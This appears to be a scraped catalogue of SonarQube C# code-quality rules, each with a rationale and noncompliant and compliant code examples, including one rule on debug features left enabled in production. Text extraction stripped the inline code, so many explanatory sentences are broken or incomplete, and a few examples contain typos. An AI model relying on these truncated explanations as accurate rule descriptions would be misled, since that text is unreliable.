Default arguments are determined by the static type of the object. If a default argument is different for a parameter in an overriding method, the value used in the call will be different when calls are made via the base or derived object, which may be contrary to developer expectations. Default parameter values are useless in explicit interface implementations, because the static type of the object will always be the implemented interface. Thus, specifying default values is useless and confusing. Noncompliant Code Exampleusing System; public class Base { public virtual void Write(int i = 42) { Console.WriteLine(i); } } public class Derived : Base { public override void Write(int i = 5) // Noncompliant { Console.WriteLine(i); } } public class Program { public static void Main() { var derived = new Derived(); derived.Write(); // writes 5 Print(derived); // writes 42; was that expected? } private static void Print(Base item) { item.Write(); } } Compliant Solutionusing System; public class Base { public virtual void Write(int i = 42) { Console.WriteLine(i); } } public class Derived : Base { public override void Write(int i = 42) { Console.WriteLine(i); } } public class Program { public static void Main() { var derived = new Derived(); derived.Write(); // writes 42 Print(derived); // writes 42 } private static void Print(Base item) { item.Write(); } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1128 |
Although unnecessary
Noncompliant Code Exampleusing System.Collections.Generic; // Noncompliant - unnecessary using namespace Foo { public class Bar { public Bar(string path) { File.ReadAllLines(path); } } } Compliant Solutionusing System.IO; namespace Foo { public class Bar { public Bar(string path) { File.ReadAllLines(path); } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2219 |
To check the type of an object there are several options:
If runtime calculated
Depending on whether the type is returned by a Finally, utilizing the most concise language constructs for type checking makes the code more readable, so
Noncompliant Code Exampleclass Fruit { } sealed class Apple : Fruit { } class Program { static void Main() { var apple = new Apple(); var b = apple != null && apple.GetType() == typeof (Apple); // Noncompliant b = typeof(Apple).IsInstanceOfType(apple); // Noncompliant if (apple != null) { b = typeof(Apple).IsAssignableFrom(apple.GetType()); // Noncompliant } var appleType = typeof (Apple); if (apple != null) { b = appleType.IsAssignableFrom(apple.GetType()); // Noncompliant } Fruit f = apple; if (f as Apple != null) // Noncompliant { } if (apple is Apple) // Noncompliant { } } } Compliant Solutionclass Fruit { } sealed class Apple : Fruit { } class Program { static void Main() { var apple = new Apple(); var b = apple is Apple; b = apple is Apple; b = apple is Apple; var appleType = typeof(Apple); b = appleType.IsInstanceOfType(apple); Fruit f = apple; if (f is Apple) { } if (apple != null) { } } } ExceptionsCalling int? i = 42; bool condition = i.GetType() == typeof(int?); // false; condition = i is int?; // true No issue is reported on the following expressions:
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2339 |
Constant members are copied at compile time to the call sites, instead of being fetched at runtime. As an example, say you have a library with a constant This means that you should use constants to hold values that by definition will never change, such as This rule only reports issues on public constant fields, which can be reached from outside the defining assembly. Noncompliant Code Examplepublic class Foo { public const double Version = 1.0; // Noncompliant } Compliant Solutionpublic class Foo { public static double Version { get { return 1.0; } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2330 |
Array covariance is the principle that if an implicit or explicit reference conversion exits from type While this array conversion can be useful in readonly situations to pass instances of Noncompliant Code Exampleabstract class Fruit { } class Apple : Fruit { } class Orange : Fruit { } class Program { static void Main(string[] args) { Fruit[] fruits = new Apple[1]; // Noncompliant - array covariance is used FillWithOranges(fruits); } // Just looking at the code doesn't reveal anything suspicious static void FillWithOranges(Fruit[] fruits) { for (int i = 0; i < fruits.Length; i++) { fruits[i] = new Orange(); // Will throw an ArrayTypeMismatchException } } } Compliant Solutionabstract class Fruit { } class Apple : Fruit { } class Orange : Fruit { } class Program { static void Main(string[] args) { Orange[] fruits = new Orange[1]; // Compliant FillWithOranges(fruits); } static void FillWithOranges(Orange[] fruits) { for (int i = 0; i < fruits.Length; i++) { fruits[i] = new Orange(); } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2692 |
Most checks against an This rule raises an issue when an Noncompliant Code Examplestring color = "blue"; string name = "ishmael"; List<string> strings = new List<string>(); strings.Add(color); strings.Add(name); string[] stringArray = strings.ToArray(); if (strings.IndexOf(color) > 0) // Noncompliant { // ... } if (name.IndexOf("ish") > 0) // Noncompliant { // ... } if (name.IndexOf("ae") > 0) // Noncompliant { // ... } if (Array.IndexOf(stringArray, color) > 0) // Noncompliant { // ... } Compliant Solutionstring color = "blue"; string name = "ishmael"; List<string> strings = new List<string> (); strings.Add(color); strings.Add(name); string[] stringArray = strings.ToArray(); if (strings.IndexOf(color) > -1) { // ... } if (name.IndexOf("ish") >= 0) { // ... } if (name.Contains("ae")) { // ... } if (Array.IndexOf(stringArray, color) >= 0) { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1121 |
Assignments within sub-expressions are hard to spot and therefore make the code less readable. Ideally, sub-expressions should not have side-effects. Noncompliant Code Exampleif (string.IsNullOrEmpty(result = str.Substring(index, length))) // Noncompliant { //... } Compliant Solutionvar result = str.Substring(index, length); if (string.IsNullOrEmpty(result)) { //... } ExceptionsAssignments inside lambda and delegate expressions are allowed. Furthermore, the following patterns are also accepted: var a = b = c = 10; while ((val = GetNewValue()) > 0) { ... } private MyClass instance; public MyClass Instance { get { return instance ?? (instance = new MyClass()); } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1244 |
Floating point math is imprecise because of the challenges of storing such values in a binary representation. Even worse, floating point math is
not associative; push a Even simple floating point assignments are not simple: float f = 0.100000001f; // 0.1 double d = 0.10000000000000001; // 0.1 (Results will vary based on compiler and compiler settings) Therefore, the use of the equality ( This rule checks for the use of direct and indirect equality/inequality tests on floats and doubles. Noncompliant Code Examplefloat myNumber = 3.146f; if ( myNumber == 3.146f ) //Noncompliant. Because of floating point imprecision, this will be false { // ... } if (myNumber <= 3.146f && mNumber >= 3.146f) // Noncompliant indirect equality test { // ... } if (myNumber < 4 || myNumber > 4) // Noncompliant indirect inequality test { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1123 |
The Noncompliant Code Examplepublic class Car { [Obsolete] // Noncompliant public void CrankEngine(int turnsOfCrank) { ... } } Compliant Solutionpublic class Car { [Obsolete("Replaced by the automatic starter")] public void CrankEngine(int turnsOfCrank) { ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2333 |
Unnecessary keywords simply clutter the code and should be removed. Specifically:
Noncompliant Code Examplepublic partial class MyClass // Noncompliant { public virtual void Method() { } } public sealed class MyOtherClass : MyClass { public sealed override void Method() // Noncompliant { } } Compliant Solutionpublic class MyClass { public virtual void Method() { } } public sealed class MyOtherClass : MyClass { public override void Method() { } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2696 |
Correctly updating a This rule raises an issue each time a Noncompliant Code Examplepublic class MyClass { private static int count = 0; public void DoSomething() { //... count++; // Noncompliant } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4635 |
Looking for a given substring starting from a specified offset can be achieved by such code: To avoid performance problems, - - - - For each of these methods, another method with an additional parameter is available to specify an offset. Using these methods gives the same result while avoiding the creation of additional Noncompliant Code Examplestr.Substring(StartIndex).IndexOf(char1); // Noncompliant; a new string is going to be created by "Substring" Compliant Solutionstr.IndexOf(char1, startIndex); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1125 |
Redundant Boolean literals should be removed from expressions to improve readability. Noncompliant Code Exampleif (booleanMethod() == true) { /* ... */ } if (booleanMethod() == false) { /* ... */ } if (booleanMethod() || false) { /* ... */ } doSomething(!false); doSomething(booleanMethod() == true); booleanVariable = booleanMethod() ? true : false; booleanVariable = booleanMethod() ? true : exp; booleanVariable = booleanMethod() ? false : exp; booleanVariable = booleanMethod() ? exp : true; booleanVariable = booleanMethod() ? exp : false; for (var x = 0; true; x++) { ... } Compliant Solutionif (booleanMethod()) { /* ... */ } if (!booleanMethod()) { /* ... */ } if (booleanMethod()) { /* ... */ } doSomething(true); doSomething(booleanMethod()); booleanVariable = booleanMethod(); booleanVariable = booleanMethod() || exp; booleanVariable = !booleanMethod() && exp; booleanVariable = !booleanMethod() || exp; booleanVariable = booleanMethod() && exp; for (var x = 0; ; x++) { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2699 |
A test case without assertions ensures only that no exceptions are thrown. Beyond basic runnability, it ensures nothing about the behavior of the code under test. This rule raises an exception when no assertions from any of the following frameworks are found in a test:
Noncompliant Code Example[TestMethod] public void MyMethod_WhenSomething_ExpectsSomething() { var myClass = new Class(); var result = myClass.GetFoo(); } Compliant Solution[TestMethod] public void MyMethod_WhenSomething_ExpectsSomething() { var myClass = new Class(); var result = myClass.GetFoo(); Assert.IsTrue(result); } ExceptionsTo create a custom assertion method declare an attribute with name using System; using Microsoft.VisualStudio.TestTools.UnitTesting; [TestClass] public class CustomTest { [TestMethod] public void TestMethod1() => Validator.CustomMethod(42); // Compliant } public static class Validator { [AssertionMethod] public static void CustomMethod(int value) { } } public class AssertionMethodAttribute : Attribute { } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4060 |
The .NET framework class library provides methods for retrieving custom attributes. Sealing the attribute eliminates the search through the inheritance hierarchy, and can improve performance. This rule raises an issue when a public type inherits from Noncompliant Code Exampleusing System; namespace MyLibrary { [AttributeUsage(AttributeTargets.Class|AttributeTargets.Struct)] public class MyAttribute: Attribute // Noncompliant { private string nameValue; public MyAttribute(string name) { nameValue = name; } public string Name { get { return nameValue; } } } } Compliant Solutionusing System; namespace MyLibrary { [AttributeUsage(AttributeTargets.Class|AttributeTargets.Struct)] public sealed class MyAttribute: Attribute { private string nameValue; public MyAttribute(string name) { nameValue = name; } public string Name { get { return nameValue; } } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4061 |
A method using the This rule raises an issue when a Noncompliant Code Exampleusing System; namespace MyLibrary { public class Foo { public void Bar(__arglist) // Noncompliant { ArgIterator argumentIterator = new ArgIterator(__arglist); for(int i = 0; i < argumentIterator.GetRemainingCount(); i++) { Console.WriteLine( __refvalue(argumentIterator.GetNextArg(), string)); } } } } Compliant Solutionusing System; [assembly: CLSCompliant(true)] namespace MyLibrary { public class Foo { public void Bar(params string[] wordList) { for(int i = 0; i < wordList.Length; i++) { Console.WriteLine(wordList[i]); } } } } ExceptionsInterop methods using [DllImport("msvcrt40.dll")] public static extern int printf(string format, __arglist); // Compliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S5034 |
It is recommended to use This rule raises an issue when the following operations are performed on a
Noncompliant Code ExampleValueTask<int> vt = SomeValueTaskReturningMethodAsync(); int result = await vt; int result2 = await vt; // Noncompliant, variable is awaited multiple times int value = SomeValueTaskReturningMethodAsync().GetAwaiter().GetResult(); // Noncompliant, uses GetAwaiter().GetResult() when it's not known to be done Compliant Solutionint result = await SomeValueTaskReturningMethodAsync(); int result = await SomeValueTaskReturningMethodAsync().ConfigureAwait(false); Task<int> t = SomeValueTaskReturningMethodAsync().AsTask(); ExceptionsThis rule does not raise any issue when a See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1905 |
Unnecessary casting expressions make the code harder to read and understand. Noncompliant Code Examplepublic int Example(int i) { return (int) (i + 42); // Noncompliant } public IEnumerable<int> ExampleCollection(IEnumerable<int> coll) { return coll.Reverse().OfType<int>(); // Noncompliant } Compliant Solutionpublic int Example(int i) { return i + 42; } public IEnumerable<int> ExampleCollection(IEnumerable<int> coll) { return coll.Reverse(); } ExceptionsIssues are not raised against C# 7.1 `default` literal. bool b = (bool)default; // Doesn't raise an issue |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1116 |
Empty statements, i.e.
Noncompliant Code Examplevoid DoSomething() { ; // Noncompliant - was used as a kind of TODO marker } void DoSomethingElse() { Console.WriteLine("Hello, world!");; // Noncompliant - double ; // ... // Rarely, they are used on purpose as the body of a loop. It is a bad practice to // have side-effects outside of the loop: for (int i = 0; i < 3; Console.WriteLine(i), i++); // Noncompliant // ... } Compliant Solutionvoid DoSomething() { } void DoSomethingElse() { Console.WriteLine("Hello, world!"); // ... for (int i = 0; i < 3; i++) { Console.WriteLine(i); } // ... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1479 |
When Noncompliant Code ExampleWith a "Maximum number of case" set to 4 public class TooManyCase { public int switchCase(char ch) { switch(ch) { // Noncompliant case 'a': return 1; case 'b': case 'c': return 2; case 'd': return 3; case 'e': return 4; case 'f': case 'g': case 'h': return 5; default: return 6; } } } Compliant Solutionusing System.Collections.Generic; public class TooManyCase { Dictionary<char, int> matching = new Dictionary<char, int>() { {'a', 1}, {'b', 2}, {'c', 2}, {'d', 3}, {'e', 4}, {'f', 5}, {'g', 5}, {'h', 5} }; public int withDictionary(char ch) { int value; if (this.matching.TryGetValue(ch, out value)) { return value; } else { return 6; } } } ExceptionsThis rule ignores |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2327 |
When multiple, adjacent Noncompliant Code Exampletry { DoTheFirstThing(a, b); } catch (InvalidOperationException ex) { HandleException(ex); } DoSomeOtherStuff(); try // Noncompliant; catch is identical to previous { DoTheSecondThing(); } catch (InvalidOperationException ex) { HandleException(ex); } try // Compliant; catch handles exception differently { DoTheThirdThing(a); } catch (InvalidOperationException ex) { LogAndDie(ex); } Compliant Solutiontry { DoTheFirstThing(a, b); DoSomeOtherStuff(); DoTheSecondThing(); } catch (InvalidOperationException ex) { HandleException(ex); } try // Compliant; catch handles exception differently { DoTheThirdThing(a); } catch (InvalidOperationException ex) { LogAndDie(ex); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3415 |
The standard assertions library methods such as This rule raises an issue when the second argument to an assertions library method is a hard-coded value and the first argument is not. Noncompliant Code ExampleAssert.AreEqual(runner.ExitCode, 0, "Unexpected exit code"); // Noncompliant; Yields error message like: Expected:<-1>. Actual:<0>. Compliant SolutionAssert.AreEqual(0, runner.ExitCode, "Unexpected exit code"); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2326 |
Type parameters that aren't used are dead code, which can only distract and possibly confuse developers during maintenance. Therefore, unused type parameters should be removed. Noncompliant Code Examplepublic class MoreMath<T> // Noncompliant; <T> is ignored { public int Add<T>(int a, int b) // Noncompliant; <T> is ignored { return a + b; } } Compliant Solutionpublic class MoreMath { public int Add (int a, int b) { return a + b; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4507 |
Delivering code in production with debug features activated is security-sensitive. It has led in the past to the following vulnerabilities: An application's debug features enable developers to find bugs more easily and thus facilitate also the work of attackers. It often gives access to detailed information on both the system running the application and users. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesDo not enable debug features on production servers. The .Net Core framework offers multiple features which help during debug.
Use Sensitive Code ExampleThis rule raises issues when the following .Net Core methods are called:
using Microsoft.AspNetCore.Builder; using Microsoft.AspNetCore.Hosting; namespace mvcApp { public class Startup2 { public void Configure(IApplicationBuilder app, IHostingEnvironment env) { // Those calls are Sensitive because it seems that they will run in production app.UseDeveloperExceptionPage(); // Sensitive app.UseDatabaseErrorPage(); // Sensitive } } } Compliant Solutionusing Microsoft.AspNetCore.Builder; using Microsoft.AspNetCore.Hosting; namespace mvcApp { public class Startup2 { public void Configure(IApplicationBuilder app, IHostingEnvironment env) { if (env.IsDevelopment()) { // The following calls are ok because they are disabled in production app.UseDeveloperExceptionPage(); // Compliant app.UseDatabaseErrorPage(); // Compliant } } } } ExceptionsThis rule does not analyze configuration files. Make sure that debug mode is not enabled by default in those files. See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1117 |
Overriding or shadowing a variable declared in an outer scope can strongly impact the readability, and therefore the maintainability, of a piece of code. Further, it could lead maintainers to introduce bugs because they think they're using one variable but are really using another. Noncompliant Code Exampleclass Foo { public int myField; public void DoSomething() { int myField = 0; // Noncompliant ... } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1118 |
Utility classes, which are collections of C# adds an implicit public constructor to every class which does not explicitly define at least one constructor. Hence, at least one
Noncompliant Code Examplepublic class StringUtils // Noncompliant { public static string Concatenate(string s1, string s2) { return s1 + s2; } } Compliant Solutionpublic static class StringUtils { public static string Concatenate(string s1, string s2) { return s1 + s2; } } or public class StringUtils { protected StringUtils() { } public static string Concatenate(string s1, string s2) { return s1 + s2; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2328 |
Noncompliant Code Examplepublic class Person { public int age; public string name; public override int GetHashCode() { int hash = 12; hash += this.age.GetHashCode(); // Noncompliant hash += this.name.GetHashCode(); // Noncompliant return hash; } Compliant Solutionpublic class Person { public readonly DateTime birthday; public string name; public override int GetHashCode() { int hash = 12; hash += this.birthday.GetHashCode(); return hash; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2681 |
Curly braces can be omitted from a one-line block, such as with an This rule raises an issue when the whitespacing of the lines after a one line block indicates an intent to include those lines in the block, but the omission of curly braces means the lines will be unconditionally executed once. Note that this rule considers tab characters to be equivalent to 1 space. If you mix spaces and tabs you will sometimes see issues in code which look fine in your editor but are confusing when you change the size of tabs. Noncompliant Code Exampleif (condition) FirstActionInBlock(); SecondAction(); // Noncompliant; executed unconditionally ThirdAction(); if(condition) FirstActionInBlock(); SecondAction(); // Noncompliant; secondAction executed unconditionally if(condition) FirstActionInBlock(); // Noncompliant SecondAction(); // Executed unconditionally string str = null; for (int i = 0; i < array.Length; i++) str = array[i]; DoTheThing(str); // Noncompliant; executed only on last array element Compliant Solutionif (condition) { FirstActionInBlock(); SecondAction(); } ThirdAction(); string str = null; for (int i = 0; i < array.Length; i++) { str = array[i]; DoTheThing(str); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1110 |
The use of parentheses, even those not required to enforce a desired order of operations, can clarify the intent behind a piece of code. But redundant pairs of parentheses could be misleading, and should be removed. Noncompliant Code Exampleif (a && ((x + y > 0))) // Noncompliant { //... } return ((x + 1)); // Noncompliant Compliant Solutionif (a && (x + y > 0)) { //... } return x + 1; return (x + 1); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4069 |
Operator overloading is convenient but unfortunately not portable across languages. To be able to access the same functionality from another language you need to provide an alternate named method following the convention:
This rule raises an issue when there is an operator overload without the expected named alternative method. ExceptionsThis rule does not raise an issue when the class implementing the comparison operators |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2201 |
When the call to a function doesn't have any side effects, what is the point of making the call if the results are ignored? In such case, either the function call is useless and should be dropped or the source code doesn't behave as expected. This rule raises an issue when the results of the following methods are ignored:
Notes:
tests.All(c => { c.myfield = "foo"; return true; }); Such code should be rewritten as a normal loop. Noncompliant Code Examplecoll.Where(i => i > 5).Select(i => i*i); // Noncompliant "this string".Equals("other string"); // Noncompliant Compliant Solutionvar res = coll.Where(i => i > 5).Select(i => i*i); var isEqual = "this string".Equals("other string"); ExceptionsThis rule doesn't report issues on method calls with See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3532 |
The Noncompliant Code Exampleenum Fruit { Apple, Orange, Banana } void PrintName(Fruit fruit) { switch(fruit) { case Fruit.Apple: Console.WriteLine("apple"); break; default: //Noncompliant break; } } Compliant Solutionenum Fruit { Apple, Orange, Banana } void PrintName(Fruit fruit) { switch(fruit) { case Fruit.Apple: Console.WriteLine("apple"); break; default: throw new NotSupportedException(); } } or void PrintName(Fruit fruit) { switch(fruit) { case Fruit.Apple: Console.WriteLine("apple"); break; } } Exceptions
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2688 |
Instead, the best way to see whether a variable is equal to Noncompliant Code Examplevar a = double.NaN; if (a == double.NaN) // Noncompliant; always false { Console.WriteLine("a is not a number"); // this is dead code } if (a != double.NaN) // Noncompliant; always true { Console.WriteLine("a is not NaN"); // this statement is not necessarily true } Compliant Solutionif (double.IsNaN(a)) { console.log("a is not a number"); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2325 |
Methods and properties that don't access instance data can be Noncompliant Code Examplepublic class Utilities { public int MagicNum // Noncompliant { get { return 42; } } private static string magicWord = "please"; public string MagicWord // Noncompliant { get { return magicWord; } set { magicWord = value; } } public int Sum(int a, int b) // Noncompliant { return a + b; } } Compliant Solutionpublic class Utilities { public static int MagicNum { get { return 42; } } private static string magicWord = "please"; public static string MagicWord { get { return magicWord; } set { magicWord = value; } } public static int Sum(int a, int b) { return a + b; } } ExceptionsMethods with the following names are excluded because they can't be made
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3898 |
If you're using a Noncompliant Code Examplestruct MyStruct // Noncompliant { private int i; public int I { //... } } Compliant Solutionstruct MyStruct : IEquatable<MyStruct> { private int i; public int I { //... } public bool Equals(MyStruct other) { throw new NotImplementedException(); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3655 |
Nullable value types can hold either a value or Noncompliant Code Exampleint? nullable = null; ... UseValue(nullable.Value); // Noncompliant Compliant Solutionint? nullable = null; ... if (nullable.HasValue) { UseValue(nullable.Value); } or int? nullable = null; ... if (nullable != null) { UseValue(nullable.Value); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3897 |
The Note**: Classes that implement Noncompliant Code Exampleclass MyClass // Noncompliant { public bool Equals(MyClass other) { //... } } Compliant Solutionsealed class MyClass : IEquatable<MyClass> { public override bool Equals(object other) { return Equals(other as MyClass); } public bool Equals(MyClass other) { //... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3776 |
Cognitive Complexity is a measure of how hard the control flow of a method is to understand. Methods with high Cognitive Complexity will be difficult to maintain. See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1939 |
An inheritance list entry is redundant if:
Such redundant declarations should be removed because they needlessly clutter the code and can be confusing. Noncompliant Code Examplepublic class MyClass : Object // Noncompliant enum MyEnum : int // Noncompliant Compliant Solutionpublic class MyClass enum MyEnum |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3449 |
Numbers can be shifted with the Noncompliant Code Exampledynamic d = 5; var x = d >> 5.4; // Noncompliant x = d >> null; // Noncompliant x <<= new object(); // Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1821 |
Nested Specifically, you should structure your code to avoid the need for nested |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1944 |
Inappropriate casts are issues that will lead to unexpected behavior or runtime errors, such as It is much better to use the Noncompliant Code Examplepublic interface IMyInterface { /* ... */ } public class Implementer : IMyInterface { /* ... */ } public class MyClass { /* ... */ } public static class Program { public static void Main() { var myclass = new MyClass(); var x = (IMyInterface) myclass; // Noncompliant, InvalidCastException is being thrown var b = myclass is IMyInterface; // Noncompliant, always false int? i = null; var ii = (int)i; // Noncompliant, InvalidOperationException is being thrown } } Compliant Solutionpublic interface IMyInterface { /* ... */ } public class Implementer : IMyInterface { /* ... */ } public class MyClass { /* ... */ } public static class Program { public static void Main() { var myclass = new MyClass(); var x = myclass as IMyInterface; // Compliant, but will always be null var b = false; int? i = null; if (i.HasValue) { var ii = (int)i; } } } ExceptionsNo issue is reported if the interface has no implementing class in the assembly. See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S881 |
The use of increment and decrement operators in method calls or in combination with other arithmetic operators is not recommended, because:
Noncompliant Code Exampleu8a = ++u8b + u8c--; foo = bar++ / 4; Compliant SolutionThe following sequence is clearer and therefore safer: ++u8b; u8a = u8b + u8c; u8c--; foo = bar / 4; bar++; See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3441 |
When an anonymous type's properties are copied from properties or variables with the same names, it yields cleaner code to omit the new type's property name and the assignment operator. Noncompliant Code Examplevar X = 5; var anon = new { X = X, //Noncompliant, the new object would have the same property without the "X =" part. Y = "my string" }; Compliant Solutionvar X = 5; var anon = new { X, Y = "my string" }; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3440 |
There's no point in checking a variable against the value you're about to assign it. Save the cycles and lines of code, and simply perform the assignment. Noncompliant Code Exampleif (x != a) // Noncompliant; why bother? { x = a; } Compliant Solutionx = a; ExceptionsProperties and checks inside setters are excluded from this rule because they could have side effects and removing the check could lead to undesired side effects. if (MyProperty != a) { MyProperty = a; // Compliant because the setter could be expensive call } private int myField; public int SomeProperty { get { return myField; } set { if (myField != value) { myField = value; } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3443 |
If you call Noncompliant Code Examplevar type = typeof(int); var ttype = type.GetType(); //Noncompliant, always typeof(System.Type) var s = "abc"; if (s.GetType().IsInstanceOfType(typeof(string))) //Noncompliant; false { /* ... */ } Compliant Solutionvar s = "abc"; if (s.GetType().IsInstanceOfType("ssss")) { /* ... */ } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1264 |
When only the condition expression is defined in a Noncompliant Code Examplefor (;condition;) { /*...*/ } Compliant Solutionwhile (condition) { /*...*/ } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3442 |
Since Noncompliant Code Exampleabstract class Base { public Base() // Noncompliant, should be private or protected { //... } } Compliant Solutionabstract class Base { protected Base() { //... } } |
